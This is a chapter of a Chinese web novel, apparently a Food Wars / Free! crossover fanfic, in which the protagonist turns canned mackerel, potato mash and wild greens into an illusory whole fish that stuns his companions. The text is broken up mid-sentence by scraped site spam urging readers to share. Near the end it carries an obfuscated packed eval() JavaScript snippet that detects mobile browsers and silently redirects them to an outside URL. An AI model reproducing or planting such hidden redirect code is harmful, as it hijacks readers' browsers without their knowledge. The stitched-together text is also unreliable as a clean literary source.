第一百四十六章
乾十字文对自己的财富状况十分清楚,简单来说那就是一团烂泥。
他现在秉承着一个十分简单的道理。
能白嫖就白嫖。
不就是制作鲭鱼吗？乾十字文回到自己的料理台前将原先定下的菜单全部推翻,看着台面上的锡纸、鱼、菠萝片,以及诸多野菜陷入新一轮头脑风暴。
鲭鱼也可以叫做青花鱼。
作为鱼类的一科,他的细分鱼种光而多。多数身体呈现呈梭形而侧扁鳞圆而细小,头尖,口大。乾十字文将目光落在自己拿到的鱼肉上。他和小林龙胆早早分好了鱼肉,为了制作汤的鲜美
从食材本身来讲,鲭鱼的两个背鳍各有千秋。第一背鳍总共有具9～13鳍棘,第二背鳍具12鳍条。肉质鲜美程度不相上下,但第二背鳍及臀鳍后方各有5个游离小鳍。两腹鳍间具1小鳞突,使用时,品尝的顺序会更加繁琐需要避讳的部位也更加多。
乾十字文原本是计划运用华夏“叫花鸡”的做法依葫芦画瓢,制作一条所谓的“叫花鱼”。在他原本的预想中这道“叫花鱼”会更突出野菜的香气,用各种调味料腌制烘焙后,鱼肉中腌制带来的咸味充分化解,成为野菜的底色。
——本质上,这是以“鱼”为碟各色野菜为菜肴的一道模拟菜。
乾十字文用筷子将罐头鲭鱼掂量起来目光却不自在地看向小林龙胆遗留下来的野菜丸子。
说起来小林龙胆这个丸子是用什么制作的？
有点好奇。不对！乾十字文夹起一颗丸子放入口中眼神逐渐发亮。他原以为小林龙胆在其中加入了淀粉、糯米或者将狗尾巴草上的穗子打散磨成粉后加入其中增加粘性。
然而入口完全打翻了他的想法。
“我回来了。”小林龙胆满载而归。她在房子里找出一大堆废旧报纸揉皱后丢到火堆中让其继续燃烧。
乾十字文恨不得扑上前高呼道：“小林学姐。”
小林龙胆一抬手打住乾十字文的动作“停！”
不要像大狗狗一样扑上来。
她早就发现乾十字文对待亲密的人总是有毫不设防的举动虽然可爱……但有时候也会让人有点难以受用。
“站在原地。”
得到命令的乾十字文急刹车的停下来表情跃跃欲试探着头不断地望向小林龙胆身
听说看这本书的人都是很幸运的，分享后你的运气会更棒
上的包裹。
“学姐是找到了番薯吗？还是地瓜？还是土豆？乾十字文的语速越来越快，眼睛也越来越亮。他在搜索野菜的时候，只往地面上看，看到合适的野菜就连根拔起，根本没有想着往地下扒啦两把。
“哈哈，你现在才发现啊。小林龙胆并不掩饰自己的成果。不过她还有几分狡诈。乾十字文不问，她就故意不说，等着十字文自己发现。
她得意扬扬的拉开自己的包裹。给乾十字文展示自己的胜利品，“剩下多少就不好说了，你自己来看看吧。
乾十字文走上前，两眼将东西扫完，仔细琢磨了一下，内心有了新的想法。
小林龙胆学姐找到的的土豆并不大块。因为生长在野外，根部十分弱小，结出的果实也并不够硕大，每一个只有成年男性指节大小。乾十字文用小刀将他们的皮一点点擦干净，用刀面将他们碾成泥状。再将腌制的鲭鱼鱼皮小心翼翼撕开，把鱼刺挑出来，留下雪白鱼肉混合在土豆泥中，狠狠捣碎。
司瑛士被他的动作吸引，他走过来。乾十字文已经将锡纸凹成自己想要的样子，鱼肉混合土豆泥散发出一种奇异的香味。司瑛士想起肯德基的土豆泥，他想现在如果给乾十字文一杯牛奶，他说不定真的会魔改出一道神奇的“鱼肉土豆泥。
——真奇怪。司瑛士将注意力拽回来，感觉自己同乾十字文呆久了，思维也发散起来。
“你现在……在做什么？
“在制作一道鱼料理。乾十字文回答到，“在我的构想里，这道菜一半鱼肉，一半素菜……其实，我想如果能把野菜做出鱼肉的味道那就更好了，一开始还在想怎么模拟鱼肉……司，你也知道鱼类那种细腻的口感，替代品其实不多……现在有了土豆，一切都好解决了。
司瑛士一直知道，乾十字文拥有改变食材口感和口味的能力。他已经不再怀疑乾十字文是否能够做到这件事情。相反他全身心期待乾十字文创造出自己从未见过的料理。
——真奇怪。我居然在期待我的对手变强。司瑛士再次感觉到奇怪。他很少会用这种思维去看待食戟的对手。
乾十字文……是不一样的。
他影影约约意识到自己的改变，又不想要那么快正面去回应这种改变。反而更努力唾弃自己不遵守自己的厨师之道，用迫切的、属于凡人的嫉妒心揣测乾十字文。
“土豆淀粉吗？司瑛士看着乾十字文将那些土豆泥混合鱼肉揉搓在一起。他的手用力按压。之前，为了更好的发力，乾十字文专门打
你的朋友正在书荒，快去帮帮他吧
扫出一片厨房台面在桌子上又额外铺上一层锡纸。
他手臂上的青筋随着每一次运动呼吸般跳跃起来。哐哐哐土豆泥和鱼肉捶打发出的响声让桌子颤栗到冒出新的尘埃。
这是乾十字文最擅长的手上功夫。
他没有感觉到司瑛士的变化专注于自己的事情土豆泥也从最开始“太空沙”的质感变成粘稠还带着一点湿气的“面团”到最后乾十字文的手指、指甲缝隙全然干净看不见任何一点土豆泥和鱼肉的黏连。
他抓起自己身侧的小刀将两指粗的长条状“面团”盘在小臂上类似刀削面师傅般——刀口微微倾斜月牙状的面片相互堆叠在半空中就像是连拍在胶卷中形成的图案随着速度的加快一轮半圆流动地出现在台面和乾十字文手中。
带着一点淀粉的淡黄色“月亮”们整整齐齐码在锡纸碗中三个一层层层堆叠宛若松树堆雪。
而那些野菜作为这次的辅菜。乾十字文绝对不会放飞。他将它们一一铺平在锡纸上时不时捏起一片叶子送入口中咀嚼片刻后调整野菜之间的位置。等所有顺序无误后他将另外一片锡纸盖在上面用刀柄用力捶打薄薄的锡纸上可以看见清晰的根茎形状和叶脉走向。
绿色的汁液。乳白色的汁液。褐红色的汁液从四面八方流淌出来。
乾十字文赶快将它们举起来拉着锡纸一角将他们全部收集到一个小碗中。接着慢慢撕开最上面一层锡纸刀尖轻轻挑开一些不需要的素材再次铺平再次捶打数次之后等到野菜已经变成薄薄的一张。
先前撕下来的鱼皮放入其中乾十字文继续重复自己那枯燥的捶打工作。
他不知疲倦叫人想起一种名为“龙鳞”的金器制作方式——用小锤子不断地在金条上捶打出痕迹聚少成多集腋成裘等整个金器完成时
小林龙胆已经顾不上了什么胜利与否了。她蹲在乾十字文身边微微张大嘴看着他的手指因为不断捶打、不断地割裂野菜以及他狼狈倒出野菜汁时沾染上颜色。
“十字文你是在……用野菜做鱼皮吗？”小林龙胆思考一下觉得有些荒谬。且不说诸多野菜堆叠在一起会发生什么化学反应。
光是乾十字文每一次敲打过程中都不断往上面撒上一层调味料有时候兑了一点水有时候不兑水。就算他的速度快调料味还没有腌入味。可这道菜最后有没有野菜的味道都
听说看这本书的人都是很幸运的，分享后你的运气会更棒
是两说。
小林龙胆到不担心，乾十字文会做出各种调味冗杂的味道。
她善意提醒道：“我们可是用野菜来做菜哦。千万不要主谓颠倒哦。
“嗯嗯。乾十字文的工序很多。他的想法像是喷泉，一旦到了状态，完全停不下来。
心理学上，称呼这种状态为“心流。
“还有这个土豆泥鱼片。
这两种方式都可以最大程度保持外观的美感。小林龙胆估算乾十字文所用的土豆数量，及现在的烹饪条件，暂时想不出来什么新方式。
而乾十字文也没有空回答这个问题。他以最快的将这些土豆泥鱼片下入水中，连带着被自己剩下的鱼尾和后半段鱼骨夹。
提前烧开的水里，咕噜咕噜冒着气泡。
乾十字文逐步下入各种调料，顺时针搅拌汤水，随着斯文的动作，他搅拌地速度越发迅速。等到锅里再一次沸腾时，勺子和筷子相互配合。
——他居然将一整条鱼完好无损的捞了上！
“什么？！司瑛士第一个站起来。他快步上前，和小林龙胆互相靠着，死死盯着乾十字文的动作。
所有人都惊呆。
“这、这是什么？
“啊，我没有看错吧。
就连提出要求的七濑遥，也惊讶地瞪大了眼睛，摆脱了往日不关心他事的表情。他看看身边的橘真琴，若非彼此的手还带着温度，双方都怀疑自己和现实社会产生了一定的脱节。
哈哈，果然是梦吧。
怎么会有**魔先生给我们做大变活鱼呢？
“这是魔法吧？活泼的叶月渚，张大的嘴巴，不敢相信。在他的认识中，料理是绝对不可能……做到这种程度。
哪怕，现在白袅袅的雾气已经开始散去。所谓的“一条鱼露出了完整的样貌：
它通体雪白，鱼肉呈现扇形，一片接着一片顺次往下。每一片鱼肉越有指甲盖大小，尾部紧紧的黏合在一起，边缘微微翘起。
若非，它没有一个鱼头……
擅长搞数据分析的龙崎怜，连眼镜都忘了推，张大的嘴巴发不出一点声音，他看着十字纹手中的那条鱼，再看看乾十字文，再看看那条鱼。
这是怎么做到……果然是梦境吧哈哈果然是梦境吧。世界已经开始不符合时间定律了……嗯。果然是梦境。
但这一切还没有结束。
比起鱼肉、鱼骨、鱼皮，这些已经制
恭喜你可以去书友们那里给他们剧透了，他们一定会“羡慕嫉妒恨”的
作出来的东西。乾十字文开始思考鱼头的问题。
“果然，这样看着……就很变扭啊。
如果要制作鱼头，就得拿一个大一点的蔬菜，或者稍微硬一点的食材。首先制作出一个三角形，其次慢慢用刀雕刻出，鱼头的细节，例如鱼嘴、鱼鳃、鱼眼等等。
乾十字文忽然懊悔自己非得把鱼复刻成原本的大小。如果他稍微节约一点、缩小一下鱼身大小，留下一块面团制作鱼头……按照他的刀工和白案功夫，这并不是难事。
额。只是可能，雕刻出来的样子稍微有点审美缺失。
乾十字文已经不对自己的美感有什么太大希望了。
可惜了。
乾十字文不再追究自己留下的错误。他开始发散思维，想想怎么补一个鱼头。他的目光落在挑出来的野菜上，摇摇头，又看看自己保留下来的野菜菜汁，摇摇头，目光危险地落在附近一些成色还不错的废弃木头上。
司瑛士果断打消了他的念头，“十字文。
三两次将自己送进医院的宏伟壮举，实在没办法让人对乾十字文的动作安心。司瑛士很乐意在这上面，对这位天之骄子抓现行。他感觉在食品安全这个问题上，小林龙胆和乾十字文真的很有共同话题。
“哦。
乾十字文哆嗦了一下，察觉到自己被抓住了现行，心虚地缩缩脖子。他将自己制作的野菜鱼皮放在热水上，稍稍的滚了一下，双手干净，徒手冲入沸腾的蒸汽中，将薄薄的一层鱼皮撕下来，一分不差地覆盖在鱼身和鱼尾上。
最后，作把野菜汁里加了点调味品，加热爆炒成半粘稠状后，一把浇在鲭鱼上。
出餐了。
“请慢用。类似的话，乾十字文从来都是乱说，今天抽到哪一句就说哪一句。他对自己的厨艺有信心，司瑛士和小林龙胆对他的厨艺也十分有信心，但这不代表游泳裤四人组对他同样有信心。
“这样就可以了吗？这是橘真琴惴惴不安的提问。
“是的。
“接下来还有什么神奇魔法吗？这是叶月渚还想看更多的神奇变变变。
“……不是魔法。
“一定是科学，只是我现在还不了解罢了。可恶，这居然没有使用科技产物。这是最相信技术的龙崎怜。
“鲭鱼。这是最喜欢鲭鱼的七濑遥。
他们四个男高中生围绕着乾十字**的神奇料理啧啧称奇，却没有一个人敢动筷子。
“十字文，这真的能吃吗？叶月渚的胆
你身边有不少朋友还没看到本章呢，快去给他们剧透吧
子还稍微大一点，他凑到十字纹面前小声询问道，“我们不吃，你不会发狂吧？”
乾十字文：……
好奇怪啊，他看上去是这么可怕的人吗？
殊不知，他本就长有一双菜刀眼，若板着一张脸，看上去就格外的凶。配合上已经颇有成效的健身效果，已经是那种在菜市场和大妈砍价，对方绝对不敢还嘴的凶。
“不会发狂。不会死。我的料理真没什么问题。”乾十字文认命地说道。直接忽视自己曾经把自己送进医院洗胃数次。
他充当干饭小能手，率先拿起筷子，夹一口放入嘴中，“你们不吃我就吃了。”
他都还不知道，自己这次做的料理成功不成功呢。
乾十字文心里同样忐忑。
他自诩是个有自知之明的家伙，对自己还算了解。清楚自己绝不是那种每次出手，马到成功的家伙。对于大部分创新料理，乾十字文还是要不断的迭代，不断的更新，才能做到所谓的完美。
这次放入口中，他就知道。
——稳了。
土豆泥中本来就掺杂了少许鲭鱼鱼肉。经过不断的揉捏和打击，本就不多的鱼肉，已经最大范畴的将味道扩散到整个土豆泥。绵软的土豆泥和鱼肉混合在一起，分不出彼此，缠绵之后再加上用水滚过一遍，浑然都是汁水肆意的感觉。
对比起来，鱼皮就更像是锦上添花，它因食材粗糙，天然带有植物无法避免的纤维感，这种感觉不同于鱼鳞，层次分明，却纤薄，韧劲，有一种顽强的生命力。
作为负责采摘、清洗、烹饪的厨师，乾十字文很清楚，自己在本次料理中所使用的菜叶，其实都偏老一些。而恰恰是这种植物的老，更贴近生物表面那种坚韧的皮。
不是那种手触摸上去，柔软而新鲜的嫩叶。年迈的一切生物，经过时间发酵，都存在一种硬邦邦，带有确定性的质感。
乾十字文认为，这是一种食材的年龄感。
鱼皮，本就是鱼类的年轮。
混合着柔软的鱼肉，乾十字文感觉到明显的差距。他的大脑告诉他这不是鱼肉，可他的舌头高呼“这就是鱼肉”。罐头里腌制后的鲭鱼肉，被重新敲打组合，再加上新的调味料，散发出一种蓬勃的鲜。
让我想想，我在里面加了什么……盐，一点点胡椒，还有一点点……糖有没有加？
乾十字文已经想不起来，自己往里面都加了点什么。他的表情无疑证明这道菜可以吃，并且还很好吃。
游泳裤四人组因此有了胆子
恭喜你可
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17113603|195877||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
以去书友们那里给他们剧透了，他们一定会“羡慕嫉妒恨”的
拿起筷子纷纷对准自己想要的地方下筷。
七濑遥夹走了最鲜嫩的腹部。
橘真琴夹走了靠近背鳍的一部分鱼肉。
叶月渚夹走了鱼尾的一块肉。
龙崎怜撕开一块鱼皮。
他们四个人拿着自己挑选的部分深深的咽了一口口水仿佛奔赴刑场般将其吞下。
“唔～”叶月渚的反应最大他食用的鱼尾是最贴近鱼本身的位置。乾十字文魔改了整个罐头鲭鱼却独独保留了鱼尾。在这里叶月渚还能吃到鱼尾肌节部分残留的细小鱼刺。
这些鱼刺并不致命只要用舌头轻轻抿一下就能够将其化解。
叶月渚也是这么做的而他用力的动作让含着土豆泥吸饱了野菜勾芡汁水的肉流淌出这道菜独一无二的味道。
在水底下的味道。
睁开眼能够看到手掌划开水留下的泡沫和水纹在前方是一尾鱼类的尾鳍和鳞片。叶月渚尝不出乾十字文在设计了多少小心思当鱼肉随着他的舌头抿化流淌到咽喉时他的第一反应是出手！
他的筷子和龙崎怜的筷子相互撞到一起两个人完全摒除了平日的好友情义目光在半空中短刃相见火花四射。
“这是我的。”
“明明是我先来。”
两个人并不放弃互相角力起来。
“怜你不可以让让我吗？”
“这种时候就不要谈让不让。”龙崎怜推搡一下眼镜认真的说道“吃饭就要各凭本事。”
他话还没有说完叶月渚飞快的夹起整个鱼尾放入口中像是偷腥的猫狡猾的笑起来。
他们两个人打闹起来。
另一边的七濑遥和橘真琴却陷入到了一种前所未有的体验之中。
如果这是一条真正的鱼他们尚且能够理解入口的滑嫩触感。舌尖不用费力气
偏偏他们两个人亲眼所见乾十字文所有的制作过程清楚口腔中以假乱真的“鱼肉”实际上是以土豆泥为主混合了稍许鱼茸制作出的仿制品。
甚至他们都不清楚——本应该没有任何汁水的淀粉产物中会暗藏玄机好像一开始就在里面包裹了半融化的油脂被高温烹煮后汁水涓涓流出。
那些细密的从各个“鱼鳞”出流淌出来的水分汇聚成一条壮观的江河。两人仿佛置身于波光粼粼的水面上。
如果喜欢本书请记得和好友讨论本书精彩情节，才有更多收获哦
远看海面是一层金色的波澜。
风吹过细小的浪花层铺满一层就像无数的波浪线与横线互相交织构成的钢笔画。
猛然。
鲭鱼就像是打破秩序的音符越出其中。
高高跃起重重的落下激荡起一扎的水花一圈的涟漪。
七濑遥半眯着眼错觉自己看见鲭鱼深叉形的鱼尾在阳光下一圈水珠下。日本鲭银白偏黄的腹部以及从背部向后延展的深蓝色不规则斑纹清晰可见。
他有一瞬间感觉到自由。
像是在水中畅游柔软的淀粉和鱼肉混合成为无数的水温柔地包裹着他。上方的风所带来的波澜从水面下网上看能够看到网状的不均匀的光斑。而继续深入下去浑然不再受到上方世界的干扰。
厚实的土豆泥绵密、紧实不漏出一点风就像是水一样。鱼肉在其中所充当的灵动、狡猾、多姿。
一切都是流畅的流线型的。
至于鱼皮……它的存在就好像是故意要将这一切打破。橘真琴想到了小美人鱼。他脑海中所有关于野菜的距离味道完全消失只剩下童话故事中小美人鱼探出水面窥看地面时复杂又难以言说的感情。
这是一种陌生的味道。
如果说新鲜的海风是危险的、咸湿的、带着无数的水汽。
那么从地面上吹来的风就是干燥的、带着草木晒干后的燥热其中混合着属于泥土、属于石头的味道。
两者之间像是飞鸟与鱼
七濑遥站起来目光看向乾十字文抢人回家做饭的想法越来越旺盛。已经到了恨不得叫乾十字文专门撰写一本鲭鱼制作料理供在厨房灶台上每日三炷香请示。
实在是值得这份对待。
他们的表情并没有让司瑛士和小林龙胆感觉到奇怪。与乾十字文相处至今两个人倒觉得如果某天乾十字文的料理没有引发骚动才是奇怪的。
一路上他们已经看过太多类似的表情类似的惊呼。
除非有天某人除了乾十字文的料理上街倒立裸（奔）令乾十字文以“非法售卖违禁药品”的罪名进局子……不然司瑛士和小林龙胆还能继续淡定下去。
“请您来我家。”七濑遥诚恳的说道。
为料理迷离的表情已经消失七濑遥的眼神中多了一丝坚定。乾十字文迅速完成“**魔”的形象改造却总有一种“会被**到对方家里做一辈子鲭鱼”的既视感。
“啊。
你的朋友正在书荒，快去帮帮他吧
这。”乾十字文扭头看向窗户低声说道：“至少，等天亮了。哎？现在都这个点了？”
又是做饭，又是吃饭，中间还磨磨唧唧做了一大堆事情。
时间，已经到了次日三点钟。
乾十字文震惊之余，又有点恍惚。
“你会来我家的吧。”七濑遥锲而不舍，强调道：“住宿免费。我家的空房间很多。”
橘真琴在旁边小声吐槽，七濑遥对陌生人的低警惕心。
最终，乾十字文还是抵挡不住免费住宿的诱惑，答应和七濑遥等人一起回去。
他们这边已经开始讨论鲭鱼的七百种做法。小林龙胆和司瑛士则继续围在乾十字文的料理面前，两个人沉默不语，动起了筷子。
土豆泥在舌尖缓慢化开，与鱼肉的口感、触感、口味十分接近，却又有所不同。
“真可怕。”小林龙胆叹一口气，像他们这样的专业厨师，还是能从料理中找出一二三个缺点。可这些缺点在乾十字文的创意烹饪面前，宛若萤火与皓月争光。
小林龙胆道：“野菜的味道和鱼肉的味道用‘鱼皮’将其隔断开。品尝时，酱汁包裹的吃法，和单纯的吃法……怎么说呢？我还是很容易想起他转学考试时制作的白斩鸡。”
初见总是惊艳。
短短半年时间，乾十字文脱胎换骨，反而是一些最基础的手段：调味、酱汁，亘古不变。
这才叫人安心一点。
司瑛士放下筷子，在一旁说道：“这道菜的完成度……不如白斩鸡。”
“这才是最可怕的地方啊。瑛士。”小林龙胆席地而坐，拍着大腿无奈苦笑，“十字文还有那么多可以进步的地方。”
乾十字文的查漏补缺注定和别人不一样。
“他创作新菜的速度越来越快了。”司瑛士想起七濑遥提出要求，乾十字文推翻菜单，重新创作的速度，像是看见苍天大树以肉眼可见的速度疯长。这一次，乾十字文甚至没有准备多份食材，没有在纸张上提前设计烹饪流程，就连菜肴的原版……司瑛士闻所未闻，绞尽脑汁想不出相关的菜谱。
凉拌菜“梨脆三丝”还能说是乾十字文阅读广泛，知识广博。
面前这道“鲭鱼料理”，都能算得上孙猴子变戏法——无中生有了。
“啊——”小林龙胆忍不住喊了一声，惊得其他人看过来。她也不觉得不好意思，大大咧咧地和司瑛士抱怨，“能不能让乾十字文回来啊。我真想看他在食戟上大杀四方，然后把我们两个打下去的样子。”
恭喜你可以去书友们那里给他们剧透了，他们一定会“羡慕嫉妒恨”的